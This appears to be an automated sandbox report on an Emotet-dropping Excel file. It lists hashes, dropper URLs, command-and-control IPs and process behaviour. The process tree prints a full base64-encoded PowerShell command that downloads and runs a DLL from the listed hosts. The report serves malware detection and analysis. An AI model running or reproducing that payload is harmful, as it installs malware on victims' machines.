Analysis
- max time kernel
123s - max time network
148s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:59
Static task
static1
Behavioral task
behavioral1
Sample
tmpdu3mw3oh.xls
Resource
win7-en-20211208
General
- Target tmpdu3mw3oh.xls
- Size 144KB
- Sample220125-te4t8safe4
- SHA256 ac962dd58704f32e706fd33bda52cc25c80baba3290d10ef8795484afa551d4b
- MD5 3e39115beba9d9efc8bba6435efaaf3a
- SHA1 e11fc151a8c4c1a168eb6235215d261eac0c882f
- SHA512 b8bf0c6045788609b9b1fd3e555b33ed2d18cfd0fa6e838c23045beecb3c3a446bc39e4962ba8b5e7deb0ca5f747c77fa297fe59b39ef8229f05c27cb0343b4c
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
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exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
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exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
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exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
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exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
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exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
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exe.dropper
http://gardeningfilm.com/wp-content/Ef/
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exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
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exe.dropper
https://100lamp.com.ua:443/sale/a/
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exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/
Extracted
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emotet
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Epoch4
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51.77.82.125:443
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69.197.160.180:8080
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103.75.201.2:443
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173.212.193.249:8080
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45.118.135.203:7080
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45.118.115.99:8080
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162.243.175.63:443
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192.254.71.210:443
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50.116.54.215:443
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51.38.71.0:443
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138.185.72.26:8080
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131.100.24.231:80
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212.237.5.209:443
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209.59.138.75:7080
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176.104.106.96:8080
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107.182.225.142:8080
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45.142.114.231:8080
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212.237.56.116:7080
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207.38.84.195:8080
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158.69.222.101:443
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104.251.214.46:8080
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104.168.155.129:8080
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46.55.222.11:443
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103.8.26.102:8080
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58.227.42.236:80
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164.68.99.3:8080
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203.114.109.124:443
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216.158.226.206:443
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178.63.25.185:443
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103.8.26.103:8080
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195.154.133.20:443
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45.176.232.124:443
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41.76.108.46:8080
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81.0.236.90:443
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178.79.147.66:8080
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212.24.98.99:8080
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217.182.143.207:443
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110.232.117.186:8080
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162.214.50.39:7080
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212.237.17.99:8080
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185.157.82.211:8080
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79.172.212.216:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1588 3728 cmd.exe 68 - Blocklisted process makes network request 2 IoCs
flow pid Process 36 436 powershell.exe 43 1492 rundll32.exe - Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
pid Process 692 rundll32.exe 3008 rundll32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Kgcnbmdxceaobrfe\vxdqztlpoy.lkh rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3728 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 436 powershell.exe 436 powershell.exe 436 powershell.exe 1492 rundll32.exe 1492 rundll32.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 436 powershell.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE 3728 EXCEL.EXE - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3728 wrote to memory of 1588 3728 EXCEL.EXE 71 PID 3728 wrote to memory of 1588 3728 EXCEL.EXE 71 PID 1588 wrote to memory of 436 1588 cmd.exe 73 PID 1588 wrote to memory of 436 1588 cmd.exe 73 PID 436 wrote to memory of 692 436 powershell.exe 74 PID 436 wrote to memory of 692 436 powershell.exe 74 PID 436 wrote to memory of 692 436 powershell.exe 74 PID 692 wrote to memory of 3008 692 rundll32.exe 75 PID 692 wrote to memory of 3008 692 rundll32.exe 75 PID 692 wrote to memory of 3008 692 rundll32.exe 75 PID 3008 wrote to memory of 2208 3008 rundll32.exe 76 PID 3008 wrote to memory of 2208 3008 rundll32.exe 76 PID 3008 wrote to memory of 2208 3008 rundll32.exe 76 PID 2208 wrote to memory of 1492 2208 rundll32.exe 77 PID 2208 wrote to memory of 1492 2208 rundll32.exe 77 PID 2208 wrote to memory of 1492 2208 rundll32.exe 77
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpdu3mw3oh.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3728 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:436 -
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1197436551.dll,f3092875484⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "c:\programdata\1197436551.dll",DllRegisterServer5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kgcnbmdxceaobrfe\vxdqztlpoy.lkh",qKDTtpLwVcn6⤵
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kgcnbmdxceaobrfe\vxdqztlpoy.lkh",DllRegisterServer7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1492
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